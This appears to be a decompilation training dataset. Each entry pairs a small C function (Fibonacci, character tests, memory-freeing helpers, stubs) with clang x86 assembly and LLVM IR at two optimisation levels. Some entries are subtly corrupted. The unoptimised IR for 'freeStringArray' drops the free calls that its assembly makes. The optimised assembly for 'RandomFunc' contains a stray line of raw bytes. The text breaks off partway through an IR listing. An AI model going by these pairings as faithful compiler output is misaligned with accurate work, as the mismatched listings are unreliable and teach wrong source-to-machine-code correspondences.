xunge/DecIR huggingface dataset:
/* Variables and functions */
unsigned int _mm_crc32_u16(unsigned int, unsigned short);
unsigned int test_mm_crc32_u16(unsigned int CRC, unsigned short V) {
  return _mm_crc32_u16(CRC, V);
}


x86 assembly (clang, -O0):
<test_mm_crc32_u16>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %si,%ax
mov    %edi,-0x4(%rbp)
mov    %ax,-0x6(%rbp)
mov    -0x4(%rbp),%edi
movzwl -0x6(%rbp),%esi
call   1030 <_mm_crc32_u16@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<test_mm_crc32_u16>:
jmp    1030 <_mm_crc32_u16@plt>

LLVM IR (-O0):
define i32 @test_mm_crc32_u16(i32 %0, i16 zeroext %1) {
%3 = alloca i32
%4 = alloca i16
store i32 %0, i32* %3
store i16 %1, i16* %4
%5 = load i32, i32* %3
%6 = load i16, i16* %4
%7 = call i32 @_mm_crc32_u16(i32 %5, i16 zeroext %6)
ret i32 %7
}

LLVM IR (-O2):
define i32 @test_mm_crc32_u16(i32 %0, i16 zeroext %1) {
%3 = tail call i32 @_mm_crc32_u16(i32 %0, i16 zeroext %1)
ret i32 %3
}
int feb(int x) {
  int sum;
  if (x == 1 || x == 2) {
    sum = 1;
    return sum;
  } else {
    sum = feb(x - 1) + feb(x - 2);
    return sum;
  }
}


x86 assembly (clang, -O0):
<feb>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %edi,-0x8(%rbp)
cmpl   $0x1,-0x8(%rbp)
je     112f <feb+0x1f>
cmpl   $0x2,-0x8(%rbp)
jne    1141 <feb+0x31>
movl   $0x1,-0xc(%rbp)
mov    -0xc(%rbp),%eax
mov    %eax,-0x4(%rbp)
jmp    116a <feb+0x5a>
mov    -0x8(%rbp),%edi
sub    $0x1,%edi
call   1030 <feb@plt>
mov    %eax,-0x10(%rbp)
mov    -0x8(%rbp),%edi
sub    $0x2,%edi
call   1030 <feb@plt>
mov    %eax,%ecx
mov    -0x10(%rbp),%eax
add    %ecx,%eax
mov    %eax,-0xc(%rbp)
mov    -0xc(%rbp),%eax
mov    %eax,-0x4(%rbp)
mov    -0x4(%rbp),%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<feb>:
push   %rbp
push   %rbx
push   %rax
mov    %edi,%ebp
add    $0xffffffff,%ebp
mov    $0x1,%ebx
cmp    $0x2,%ebp
jb     1144 <feb+0x34>
xor    %ebx,%ebx
cs nopw 0x0(%rax,%rax,1)
xchg   %ax,%ax
mov    %ebp,%edi
call   1030 <feb@plt>
add    %eax,%ebx
add    $0xfffffffe,%ebp
cmp    $0x1,%ebp
ja     1130 <feb+0x20>
add    $0x1,%ebx
mov    %ebx,%eax
add    $0x8,%rsp
pop    %rbx
pop    %rbp
ret

LLVM IR (-O0):
define i32 @feb(i32 %0) {
%2 = alloca i32
%3 = alloca i32
%4 = alloca i32
store i32 %0, i32* %3
%5 = load i32, i32* %3
%6 = icmp eq i32 %5, 1
br i1 %6, label %10, label %7
7: ; preds = %1
%8 = load i32, i32* %3
%9 = icmp eq i32 %8, 2
br i1 %9, label %10, label %12
10: ; preds = %7, %1
store i32 1, i32* %4
%11 = load i32, i32* %4
store i32 %11, i32* %2
br label %21
12: ; preds = %7
%13 = load i32, i32* %3
%14 = sub nsw i32 %13, 1
%15 = call i32 @feb(i32 %14)
%16 = load i32, i32* %3
%17 = sub nsw i32 %16, 2
%18 = call i32 @feb(i32 %17)
%19 = add nsw i32 %15, %18
store i32 %19, i32* %4
%20 = load i32, i32* %4
store i32 %20, i32* %2
br label %21
21: ; preds = %12, %10
%22 = load i32, i32* %2
ret i32 %22
}

LLVM IR (-O2):
define i32 @feb(i32 %0) {
%2 = add i32 %0, -1
%3 = icmp ult i32 %2, 2
br i1 %3, label %15, label %4
4: ; preds = %1, %4
%5 = phi i32 [ %11, %4 ], [ %2, %1 ]
%6 = phi i32 [ %9, %4 ], [ %0, %1 ]
%7 = phi i32 [ %10, %4 ], [ 0, %1 ]
%8 = tail call i32 @feb(i32 %5)
%9 = add nsw i32 %6, -2
%10 = add nsw i32 %8, %7
%11 = add i32 %6, -3
%12 = icmp ult i32 %11, 2
br i1 %12, label %13, label %4
13: ; preds = %4
%14 = add i32 %10, 1
br label %15
15: ; preds = %13, %1
%16 = phi i32 [ 1, %1 ], [ %14, %13 ]
ret i32 %16
}
/* Variables and functions */
int /*<<< orphan*/ exit(int);
int /*<<< orphan*/ fprintf(int /*<<< orphan*/, char *);
int /*<<< orphan*/ stderr;
void usage(void) {
  fprintf(stderr, "Usage:\n"
                  "md address [count]\n"
                  "mm address value\n");
  exit(1);
}


x86 assembly (clang, -O0):
<usage>:
push   %rbp
mov    %rsp,%rbp
mov    0x2eb5(%rip),%rax
mov    (%rax),%edi
lea    0xecc(%rip),%rsi
call   1030 <fprintf@plt>
mov    $0x1,%edi
call   1040 <exit@plt>

x86 assembly (clang, -O2):
<usage>:
push   %rax
mov    0x2eb8(%rip),%rax
mov    (%rax),%edi
lea    0xecf(%rip),%rsi
call   1030 <fprintf@plt>
mov    $0x1,%edi
call   1040 <exit@plt>

LLVM IR (-O0):
@stderr = global i32 0
@.str = [44 x i8] c"Usage:\0Amd address [count]\0Amm address value\0A\00"
define void @usage() {
%1 = load i32, i32* @stderr
%2 = call i32 @fprintf(i32 %1, i8* getelementptr inbounds ([44 x i8], [44 x i8]* @.str, i64 0, i64 0))
%3 = call i32 @exit(i32 1)
unreachable
}

LLVM IR (-O2):
@stderr = global i32 0
@.str = [44 x i8] c"Usage:\0Amd address [count]\0Amm address value\0A\00"
define void @usage() {
%1 = load i32, i32* @stderr
%2 = tail call i32 @fprintf(i32 %1, i8* getelementptr inbounds ([44 x i8], [44 x i8]* @.str, i64 0, i64 0))
%3 = tail call i32 @exit(i32 1)
unreachable
}
int ctype_alpha(int c) {
  return (c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z');
}


x86 assembly (clang, -O0):
<ctype_alpha>:
push   %rbp
mov    %rsp,%rbp
mov    %edi,-0x4(%rbp)
cmpl   $0x61,-0x4(%rbp)
jl     1120 <ctype_alpha+0x20>
mov    $0x1,%al
cmpl   $0x7a,-0x4(%rbp)
mov    %al,-0x5(%rbp)
jle    113f <ctype_alpha+0x3f>
xor    %eax,%eax
cmpl   $0x41,-0x4(%rbp)
mov    %al,-0x6(%rbp)
jl     1139 <ctype_alpha+0x39>
cmpl   $0x5a,-0x4(%rbp)
setle  %al
mov    %al,-0x6(%rbp)
mov    -0x6(%rbp),%al
mov    %al,-0x5(%rbp)
mov    -0x5(%rbp),%al
and    $0x1,%al
movzbl %al,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<ctype_alpha>:
and    $0xffffffdf,%edi
add    $0xffffffbf,%edi
xor    %eax,%eax
cmp    $0x1a,%edi
setb   %al
ret

LLVM IR (-O0):
define i32 @ctype_alpha(i32 %0) {
%2 = alloca i32
store i32 %0, i32* %2
%3 = load i32, i32* %2
%4 = icmp sge i32 %3, 97
br i1 %4, label %5, label %8
5: ; preds = %1
%6 = load i32, i32* %2
%7 = icmp sle i32 %6, 122
br i1 %7, label %16, label %8
8: ; preds = %5, %1
%9 = load i32, i32* %2
%10 = icmp sge i32 %9, 65
br i1 %10, label %11, label %14
11: ; preds = %8
%12 = load i32, i32* %2
%13 = icmp sle i32 %12, 90
br label %14
14: ; preds = %11, %8
%15 = phi i1 [ false, %8 ], [ %13, %11 ]
br label %16
16: ; preds = %14, %5
%17 = phi i1 [ true, %5 ], [ %15, %14 ]
%18 = zext i1 %17 to i32
ret i32 %18
}

LLVM IR (-O2):
define i32 @ctype_alpha(i32 %0) {
%2 = and i32 %0, -33
%3 = add i32 %2, -65
%4 = icmp ult i32 %3, 26
%5 = zext i1 %4 to i32
ret i32 %5
}
int test_imm_F3uint8_reg(unsigned char val) {
  return ((val) & (-0xF3 << 0)) ? -20 : -40;
}


x86 assembly (clang, -O0):
<test_imm_F3uint8_reg>:
push   %rbp
mov    %rsp,%rbp
mov    %dil,%al
mov    %al,-0x1(%rbp)
movzbl -0x1(%rbp),%edx
and    $0xffffff0d,%edx
mov    $0xffffffd8,%eax
mov    $0xffffffec,%ecx
cmp    $0x0,%edx
cmovne %ecx,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<test_imm_F3uint8_reg>:
test   $0xd,%dil
mov    $0xffffffd8,%ecx
mov    $0xffffffec,%eax
cmove  %ecx,%eax
ret

LLVM IR (-O0):
define i32 @test_imm_F3uint8_reg(i8 zeroext %0) {
%2 = alloca i8
store i8 %0, i8* %2
%3 = load i8, i8* %2
%4 = zext i8 %3 to i32
%5 = and i32 %4, -243
%6 = icmp ne i32 %5, 0
%7 = zext i1 %6 to i64
%8 = select i1 %6, i32 -20, i32 -40
ret i32 %8
}

LLVM IR (-O2):
define i32 @test_imm_F3uint8_reg(i8 zeroext %0) {
%2 = and i8 %0, 13
%3 = icmp eq i8 %2, 0
%4 = select i1 %3, i32 -40, i32 -20
ret i32 %4
}
int main() { return 1 ^ -0; }


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
movl   $0x0,-0x4(%rbp)
mov    $0x1,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
mov    $0x1,%eax
ret

LLVM IR (-O0):
define i32 @main() {
%1 = alloca i32
store i32 0, i32* %1
ret i32 1
}

LLVM IR (-O2):
define i32 @main() {
ret i32 1
}
void vp_startup_init(void) {}


x86 assembly (clang, -O0):
<vp_startup_init>:
push   %rbp
mov    %rsp,%rbp
pop    %rbp
ret

x86 assembly (clang, -O2):
<vp_startup_init>:
ret

LLVM IR (-O0):
define void @vp_startup_init() {
ret void
}

LLVM IR (-O2):
define void @vp_startup_init() {
ret void
}
/* Type definitions */
struct XmlNode {
  int dummy;
};
typedef int /*<<< orphan*/ str;

/* Variables and functions */
int /*<<< orphan*/ XmlNode_setValue(struct XmlNode *, char *);
int /*<<< orphan*/ snprintf(char *, int, char *, float);
void XmlNode_setValueFloat(struct XmlNode *node, float value) {
  char str[128];
  snprintf(str, sizeof(str), "%f", value);
  XmlNode_setValue(node, str);
}


x86 assembly (clang, -O0):
<XmlNode_setValueFloat>:
push   %rbp
mov    %rsp,%rbp
sub    $0x90,%rsp
mov    %rdi,-0x8(%rbp)
movss  %xmm0,-0xc(%rbp)
lea    -0x90(%rbp),%rdi
movss  -0xc(%rbp),%xmm0
mov    $0x80,%esi
lea    0xeb4(%rip),%rdx
call   1030 <snprintf@plt>
mov    -0x8(%rbp),%rdi
lea    -0x90(%rbp),%rsi
call   1040 <XmlNode_setValue@plt>
add    $0x90,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<XmlNode_setValueFloat>:
push   %r14
push   %rbx
sub    $0x88,%rsp
mov    %rdi,%rbx
lea    0xecc(%rip),%rdx
mov    %rsp,%r14
mov    %r14,%rdi
mov    $0x80,%esi
call   1030 <snprintf@plt>
mov    %rbx,%rdi
mov    %r14,%rsi
call   1040 <XmlNode_setValue@plt>
add    $0x88,%rsp
pop    %rbx
pop    %r14
ret

LLVM IR (-O0):
%struct.XmlNode = type { i32 }
@.str = [3 x i8] c"%f\00"
define void @XmlNode_setValueFloat(%struct.XmlNode* %0, float %1) {
%3 = alloca %struct.XmlNode*
%4 = alloca float
%5 = alloca [128 x i8]
store %struct.XmlNode* %0, %struct.XmlNode** %3
store float %1, float* %4
%6 = getelementptr inbounds [128 x i8], [128 x i8]* %5, i64 0, i64 0
%7 = load float, float* %4
%8 = call i32 @snprintf(i8* %6, i32 128, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str, i64 0, i64 0), float %7)
%9 = load %struct.XmlNode*, %struct.XmlNode** %3
%10 = getelementptr inbounds [128 x i8], [128 x i8]* %5, i64 0, i64 0
%11 = call i32 @XmlNode_setValue(%struct.XmlNode* %9, i8* %10)
ret void
}

LLVM IR (-O2):
%struct.XmlNode = type { i32 }
@.str = [3 x i8] c"%f\00"
define void @XmlNode_setValueFloat(%struct.XmlNode* %0, float %1) {
%3 = alloca [128 x i8]
%4 = getelementptr inbounds [128 x i8], [128 x i8]* %3, i64 0, i64 0
%5 = call i32 @snprintf(i8* %4, i32 128, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str, i64 0, i64 0), float %1)
%6 = call i32 @XmlNode_setValue(%struct.XmlNode* %0, i8* %4)
ret void
}
/* Variables and functions */
int /*<<< orphan*/ printf(char *);
void atexit_func1(void) { printf("atexit function 1 called\n"); }


x86 assembly (clang, -O0):
<atexit_func1>:
push   %rbp
mov    %rsp,%rbp
lea    0xee5(%rip),%rdi
call   1030 <printf@plt>
pop    %rbp
ret

x86 assembly (clang, -O2):
<atexit_func1>:
lea    0xee9(%rip),%rdi
jmp    1030 <puts@plt>

LLVM IR (-O0):
@.str = [26 x i8] c"atexit function 1 called\0A\00"
define void @atexit_func1() {
%1 = call i32 @printf(i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str, i64 0, i64 0))
ret void
}

LLVM IR (-O2):
@str = [25 x i8] c"atexit function 1 called\00"
define void @atexit_func1() {
%1 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([25 x i8], [25 x i8]* @str, i64 0, i64 0))
ret void
}
/* Variables and functions */
int /*<<< orphan*/ ENOSYS;
int /*<<< orphan*/ __set_errno(int /*<<< orphan*/);
int msgsnd(int msqid, const void *msgp, size_t msgsz, int msgflg) {
  __set_errno(ENOSYS);
  return -1;
}


x86 assembly (clang, -O0):
<msgsnd>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
mov    %edi,-0x4(%rbp)
mov    %rsi,-0x10(%rbp)
mov    %rdx,-0x18(%rbp)
mov    %ecx,-0x1c(%rbp)
mov    0x2ebb(%rip),%rax
mov    (%rax),%edi
call   1030 <__set_errno@plt>
mov    $0xffffffff,%eax
add    $0x20,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<msgsnd>:
push   %rax
mov    0x2ed0(%rip),%rax
mov    (%rax),%edi
call   1030 <__set_errno@plt>
mov    $0xffffffff,%eax
pop    %rcx
ret

LLVM IR (-O0):
@ENOSYS = global i32 0
define i32 @msgsnd(i32 %0, i8* %1, i64 %2, i32 %3) {
%5 = alloca i32
%6 = alloca i8*
%7 = alloca i64
%8 = alloca i32
store i32 %0, i32* %5
store i8* %1, i8** %6
store i64 %2, i64* %7
store i32 %3, i32* %8
%9 = load i32, i32* @ENOSYS
%10 = call i32 @__set_errno(i32 %9)
ret i32 -1
}

LLVM IR (-O2):
@ENOSYS = global i32 0
define i32 @msgsnd(i32 %0, i8* nocapture readnone %1, i64 %2, i32 %3) {
%5 = load i32, i32* @ENOSYS
%6 = tail call i32 @__set_errno(i32 %5)
ret i32 -1
}
/* Type definitions */
struct tm {
  int dummy;
};

/* Variables and functions */
int /*<<< orphan*/ date_time(struct tm *, struct tm *, int);
void date_noon(struct tm *tm, struct tm *now, int *num) {
  date_time(tm, now, 12);
}


x86 assembly (clang, -O0):
<date_noon>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
mov    %rdi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    %rdx,-0x18(%rbp)
mov    -0x8(%rbp),%rdi
mov    -0x10(%rbp),%rsi
mov    $0xc,%edx
call   1030 <date_time@plt>
add    $0x20,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<date_noon>:
mov    $0xc,%edx
jmp    1030 <date_time@plt>

LLVM IR (-O0):
%struct.tm = type { i32 }
define void @date_noon(%struct.tm* %0, %struct.tm* %1, i32* %2) {
%4 = alloca %struct.tm*
%5 = alloca %struct.tm*
%6 = alloca i32*
store %struct.tm* %0, %struct.tm** %4
store %struct.tm* %1, %struct.tm** %5
store i32* %2, i32** %6
%7 = load %struct.tm*, %struct.tm** %4
%8 = load %struct.tm*, %struct.tm** %5
%9 = call i32 @date_time(%struct.tm* %7, %struct.tm* %8, i32 12)
ret void
}

LLVM IR (-O2):
%struct.tm = type { i32 }
define void @date_noon(%struct.tm* %0, %struct.tm* %1, i32* nocapture readnone %2) {
%4 = tail call i32 @date_time(%struct.tm* %0, %struct.tm* %1, i32 12)
ret void
}
/* Variables and functions */
int /*<<< orphan*/ SIGALRM;
int /*<<< orphan*/ refresh();
int /*<<< orphan*/ showInformation();
int /*<<< orphan*/ showSnake();
int /*<<< orphan*/ signal(int /*<<< orphan*/, void (*)());
void show() {
  signal(SIGALRM, show);
  showInformation();
  showSnake();
  refresh();
}


x86 assembly (clang, -O0):
<show>:
push   %rbp
mov    %rsp,%rbp
mov    0x2e9d(%rip),%rax
mov    (%rax),%edi
mov    0x2e84(%rip),%rsi
call   1040 <signal@plt>
mov    $0x0,%al
call   1030 <showInformation@plt>
mov    $0x0,%al
call   1060 <showSnake@plt>
mov    $0x0,%al
call   1050 <refresh@plt>
pop    %rbp
ret

x86 assembly (clang, -O2):
<show>:
push   %rax
mov    0x2ea0(%rip),%rax
mov    (%rax),%edi
mov    0x2e87(%rip),%rsi
call   1040 <signal@plt>
xor    %eax,%eax
call   1030 <showInformation@plt>
xor    %eax,%eax
call   1060 <showSnake@plt>
xor    %eax,%eax
pop    %rcx
jmp    1050 <refresh@plt>

LLVM IR (-O0):
@SIGALRM = global i32 0
define void @show() {
%1 = load i32, i32* @SIGALRM
%2 = call i32 @signal(i32 %1, void (...)* bitcast (void ()* @show to void (...)*))
%3 = call i32 (...) @showInformation()
%4 = call i32 (...) @showSnake()
%5 = call i32 (...) @refresh()
ret void
}

LLVM IR (-O2):
@SIGALRM = global i32 0
define void @show() {
%1 = load i32, i32* @SIGALRM
%2 = tail call i32 @signal(i32 %1, void (...)* bitcast (void ()* @show to void (...)*))
%3 = tail call i32 (...) @showInformation()
%4 = tail call i32 (...) @showSnake()
%5 = tail call i32 (...) @refresh()
ret void
}
/* Variables and functions */
int /*<<< orphan*/ free(void *);
void DSynth_Delete(void *ptr) { free(ptr); }


x86 assembly (clang, -O0):
<DSynth_Delete>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rdi
call   1030 <free@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<DSynth_Delete>:
jmp    1030 <free@plt>

LLVM IR (-O0):
define void @DSynth_Delete(i8* %0) {
%2 = alloca i8*
store i8* %0, i8** %2
%3 = load i8*, i8** %2
%4 = call i32 @free(i8* %3)
ret void
}

LLVM IR (-O2):
define void @DSynth_Delete(i8* nocapture %0) {
%2 = tail call i32 @free(i8* %0)
ret void
}
/* Variables and functions */
int PAPI_create_eventset(int *);
void papif_create_eventset_(int *EventSet, int *check) {
  *check = PAPI_create_eventset(EventSet);
}


x86 assembly (clang, -O0):
<papif_create_eventset_>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    -0x8(%rbp),%rdi
call   1030 <PAPI_create_eventset@plt>
mov    %eax,%ecx
mov    -0x10(%rbp),%rax
mov    %ecx,(%rax)
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<papif_create_eventset_>:
push   %rbx
mov    %rsi,%rbx
call   1030 <PAPI_create_eventset@plt>
mov    %eax,(%rbx)
pop    %rbx
ret

LLVM IR (-O0):
define void @papif_create_eventset_(i32* %0, i32* %1) {
%3 = alloca i32*
%4 = alloca i32*
store i32* %0, i32** %3
store i32* %1, i32** %4
%5 = load i32*, i32** %3
%6 = call i32 @PAPI_create_eventset(i32* %5)
%7 = load i32*, i32** %4
store i32 %6, i32* %7
ret void
}

LLVM IR (-O2):
define void @papif_create_eventset_(i32* %0, i32* nocapture writeonly %1) {
%3 = tail call i32 @PAPI_create_eventset(i32* %0)
store i32 %3, i32* %1
ret void
}
void freeStringArray(char **array, int size) {
  int i;
  for (i = 0; i < size; i++) {
    free(array[i]);
  }
  free(array);
}


x86 assembly (clang, -O0):
<freeStringArray>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    %esi,-0xc(%rbp)
movl   $0x0,-0x10(%rbp)
mov    -0x10(%rbp),%eax
cmp    -0xc(%rbp),%eax
jge    1151 <freeStringArray+0x41>
mov    -0x8(%rbp),%rax
movslq -0x10(%rbp),%rcx
mov    (%rax,%rcx,8),%rdi
call   1030 <free@plt>
mov    -0x10(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x10(%rbp)
jmp    1126 <freeStringArray+0x16>
mov    -0x8(%rbp),%rdi
call   1030 <free@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<freeStringArray>:
push   %r15
push   %r14
push   %rbx
mov    %rdi,%r14
test   %esi,%esi
jle    1142 <freeStringArray+0x32>
mov    %esi,%r15d
xor    %ebx,%ebx
cs nopw 0x0(%rax,%rax,1)
nopl   0x0(%rax,%rax,1)
mov    (%r14,%rbx,8),%rdi
call   1030 <free@plt>
add    $0x1,%rbx
cmp    %rbx,%r15
jne    1130 <freeStringArray+0x20>
mov    %r14,%rdi
pop    %rbx
pop    %r14
pop    %r15
jmp    1030 <free@plt>

LLVM IR (-O0):
define void @freeStringArray(i8** %0, i32 %1) {
%3 = alloca i8**
%4 = alloca i32
%5 = alloca i32
store i8** %0, i8*** %3
store i32 %1, i32* %4
store i32 0, i32* %5
br label %6
6: ; preds = %16, %2
%7 = load i32, i32* %5
%8 = load i32, i32* %4
%9 = icmp slt i32 %7, %8
br i1 %9, label %10, label %19
10: ; preds = %6
%11 = load i8**, i8*** %3
%12 = load i32, i32* %5
%13 = sext i32 %12 to i64
%14 = getelementptr inbounds i8*, i8** %11, i64 %13
%15 = load i8*, i8** %14
br label %16
16: ; preds = %10
%17 = load i32, i32* %5
%18 = add nsw i32 %17, 1
store i32 %18, i32* %5
br label %6
19: ; preds = %6
%20 = load i8**, i8*** %3
%21 = bitcast i8** %20 to i8*
ret void
}

LLVM IR (-O2):
define void @freeStringArray(i8** nocapture %0, i32 %1) {
%3 = icmp sgt i32 %1, 0
br i1 %3, label %4, label %12
4: ; preds = %2
%5 = zext i32 %1 to i64
br label %6
6: ; preds = %4, %6
%7 = phi i64 [ 0, %4 ], [ %10, %6 ]
%8 = getelementptr inbounds i8*, i8** %0, i64 %7
%9 = load i8*, i8** %8
tail call void @free(i8* %9)
%10 = add nuw nsw i64 %7, 1
%11 = icmp eq i64 %10, %5
br i1 %11, label %12, label %6
12: ; preds = %6, %2
%13 = bitcast i8** %0 to i8*
tail call void @free(i8* %13)
ret void
}
/* Variables and functions */
char toupper(int);
unsigned char hc2code(char hc) {
  static unsigned char code[] = {6, 14, 2, 10, 1, 9, 5, 13,
                                 7, 15, 3, 11, 0, 8, 4, 12};
  return code[(toupper((int)hc) - 'A') & 0x0f];
}


x86 assembly (clang, -O0):
<hc2code>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %dil,%al
mov    %al,-0x1(%rbp)
movsbl -0x1(%rbp),%edi
call   1030 <toupper@plt>
movsbl %al,%eax
sub    $0x41,%eax
and    $0xf,%eax
movslq %eax,%rcx
lea    0x2ef6(%rip),%rax
movzbl (%rax,%rcx,1),%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<hc2code>:
push   %rax
call   1030 <toupper@plt>
add    $0xff,%al
movzbl %al,%eax
and    $0xf,%eax
lea    0xedb(%rip),%rcx
mov    (%rax,%rcx,1),%al
pop    %rcx
ret

LLVM IR (-O0):
@hc2code.code = internal global [16 x i8] c"\06\0E\02\0A\01\09\05\0D\07\0F\03\0B\00\08\04\0C"
define zeroext i8 @hc2code(i8 signext %0) {
%2 = alloca i8
store i8 %0, i8* %2
%3 = load i8, i8* %2
%4 = sext i8 %3 to i32
%5 = call signext i8 @toupper(i32 %4)
%6 = sext i8 %5 to i32
%7 = sub nsw i32 %6, 65
%8 = and i32 %7, 15
%9 = sext i32 %8 to i64
%10 = getelementptr inbounds [16 x i8], [16 x i8]* @hc2code.code, i64 0, i64 %9
%11 = load i8, i8* %10
ret i8 %11
}

LLVM IR (-O2):
@hc2code.code = internal unnamed_addr constant [16 x i8] c"\06\0E\02\0A\01\09\05\0D\07\0F\03\0B\00\08\04\0C"
define zeroext i8 @hc2code(i8 signext %0) {
%2 = sext i8 %0 to i32
%3 = tail call signext i8 @toupper(i32 %2)
%4 = add i8 %3, 15
%5 = and i8 %4, 15
%6 = zext i8 %5 to i64
%7 = getelementptr inbounds [16 x i8], [16 x i8]* @hc2code.code, i64 0, i64 %6
%8 = load i8, i8* %7
ret i8 %8
}
unsigned number_of_highest_bit(unsigned v) {
  register unsigned r;
  r = 0;
  while (v >>= 1)
    r++;
  return r;
}


x86 assembly (clang, -O0):
<number_of_highest_bit>:
push   %rbp
mov    %rsp,%rbp
mov    %edi,-0x4(%rbp)
movl   $0x0,-0x8(%rbp)
mov    -0x4(%rbp),%eax
shr    $0x1,%eax
mov    %eax,-0x4(%rbp)
cmp    $0x0,%eax
je     112e <number_of_highest_bit+0x2e>
mov    -0x8(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x8(%rbp)
jmp    110e <number_of_highest_bit+0xe>
mov    -0x8(%rbp),%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<number_of_highest_bit>:
xor    %eax,%eax
cmp    $0x2,%edi
jb     111c <number_of_highest_bit+0x1c>
xor    %eax,%eax
mov    %edi,%ecx
nopl   0x0(%rax,%rax,1)
shr    %ecx
add    $0x1,%eax
cmp    $0x3,%edi
mov    %ecx,%edi
ja     1110 <number_of_highest_bit+0x10>
ret

LLVM IR (-O0):
define i32 @number_of_highest_bit(i32 %0) {
%2 = alloca i32
%3 = alloca i32
store i32 %0, i32* %2
store i32 0, i32* %3
br label %4
4: ; preds = %8, %1
%5 = load i32, i32* %2
%6 = lshr i32 %5, 1
store i32 %6, i32* %2
%7 = icmp ne i32 %6, 0
br i1 %7, label %8, label %11
8: ; preds = %4
%9 = load i32, i32* %3
%10 = add i32 %9, 1
store i32 %10, i32* %3
br label %4
11: ; preds = %4
%12 = load i32, i32* %3
ret i32 %12
}

LLVM IR (-O2):
define i32 @number_of_highest_bit(i32 %0) {
%2 = icmp ult i32 %0, 2
br i1 %2, label %9, label %3
3: ; preds = %1, %3
%4 = phi i32 [ %7, %3 ], [ 0, %1 ]
%5 = phi i32 [ %6, %3 ], [ %0, %1 ]
%6 = lshr i32 %5, 1
%7 = add nuw nsw i32 %4, 1
%8 = icmp ult i32 %5, 4
br i1 %8, label %9, label %3
9: ; preds = %3, %1
%10 = phi i32 [ 0, %1 ], [ %7, %3 ]
ret i32 %10
}
/* Variables and functions */
int /*<<< orphan*/ strcmp(char *, char *);
void strcmp_null_0() {
  char *x = 0;
  char *y = "123";
  strcmp(x, y);
}


x86 assembly (clang, -O0):
<strcmp_null_0>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
movq   $0x0,-0x8(%rbp)
lea    0xed9(%rip),%rax
mov    %rax,-0x10(%rbp)
mov    -0x8(%rbp),%rdi
mov    -0x10(%rbp),%rsi
call   1030 <strcmp@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<strcmp_null_0>:
ret

LLVM IR (-O0):
@.str = [4 x i8] c"123\00"
define void @strcmp_null_0() {
%1 = alloca i8*
%2 = alloca i8*
store i8* null, i8** %1
store i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str, i64 0, i64 0), i8** %2
%3 = load i8*, i8** %1
%4 = load i8*, i8** %2
%5 = call i32 @strcmp(i8* %3, i8* %4)
ret void
}

LLVM IR (-O2):
define void @strcmp_null_0() {
ret void
}
void RandomFunc(unsigned long input[1], unsigned long output[1]) {
  unsigned long state[1];
  char copy11;
  {
    state[0UL] = (input[0UL] + 914778474UL) * 67330564296145686UL;
    if (state[0UL] & 1UL) {
      copy11 = *((char *)(&state[0UL]) + 1);
      *((char *)(&state[0UL]) + 1) = *((char *)(&state[0UL]) + 7);
      *((char *)(&state[0UL]) + 7) = copy11;
    }
    output[0UL] = state[0UL] + 194522493UL;
  }
}


x86 assembly (clang, -O0):
<RandomFunc>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    -0x8(%rbp),%rax
mov    (%rax),%rax
add    $0x3686696a,%rax
movabs $0xef34ca9f65fb16,%rcx
imul   %rcx,%rax
mov    %rax,-0x18(%rbp)
mov    -0x18(%rbp),%rax
and    $0x1,%rax
cmp    $0x0,%rax
je     114f <RandomFunc+0x4f>
mov    -0x17(%rbp),%al
mov    %al,-0x19(%rbp)
mov    -0x11(%rbp),%al
mov    %al,-0x17(%rbp)
mov    -0x19(%rbp),%al
mov    %al,-0x11(%rbp)
mov    -0x18(%rbp),%rcx
add    $0xb982d7d,%rcx
mov    -0x10(%rbp),%rax
mov    %rcx,(%rax)
pop    %rbp
ret

x86 assembly (clang, -O2):
<RandomFunc>:
movabs $0xef34ca9f65fb16,%rax
imul   (%rdi),%rax
movabs $0xdf61e99ef1522a99,%rcx
e9 61 df
add    %rax,%rcx
mov    %rcx,(%rsi)
ret

LLVM IR (-O0):
define void @RandomFunc(i64* %0, i64* %1) {
%3 = alloca i64*
%4 = alloca i64*
%5 = alloca [1 x i64]
%6 = alloca i8
store i64* %0, i64** %3
store i64* %1, i64** %4
%7 = load i64*, i64** %3
%8 = getelementptr inbounds i64, i64* %7, i64 0
%9 = load i64, i64* %8
%10 = add i64 %9, 914778474
